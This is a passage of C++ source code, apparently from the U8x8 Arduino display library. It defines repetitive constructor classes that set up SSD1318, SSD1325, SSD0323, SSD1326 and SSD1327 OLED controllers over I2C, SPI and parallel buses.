u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1318_128X96_HW_I2C : public U8X8 {\n  public: U8X8_SSD1318_128X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1318_128X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1318_128X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_SW_I2C : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_HW_I2C : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1318_128X96_XCP_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1318_128X96_XCP_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1318_128x96_xcp, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_6800 : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_8080 : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_SW_I2C : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_HW_I2C : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1325_NHD_128X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1325_NHD_128X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1325_nhd_128x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD0323_OS128064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD0323_OS128064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD0323_OS128064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD0323_OS128064_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD0323_OS128064_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_6800 : public U8X8 {\n  public: U8X8_SSD0323_OS128064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_8080 : public U8X8 {\n  public: U8X8_SSD0323_OS128064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_SW_I2C : public U8X8 {\n  public: U8X8_SSD0323_OS128064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD0323_OS128064_HW_I2C : public U8X8 {\n  public: U8X8_SSD0323_OS128064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD0323_OS128064_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD0323_OS128064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd0323_os128064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_6800 : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_8080 : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_SW_I2C : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_HW_I2C : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1326_ER_256X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1326_ER_256X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1326_er_256x32, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_6800 : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_8080 : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_SW_I2C : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1327_WS_96X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_WS_96X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_ws_96x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_6800 : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_8080 : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_SW_I2C : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1327_SEEED_96X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1327_SEEED_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1327_EA_W128128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1327_EA_W128128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    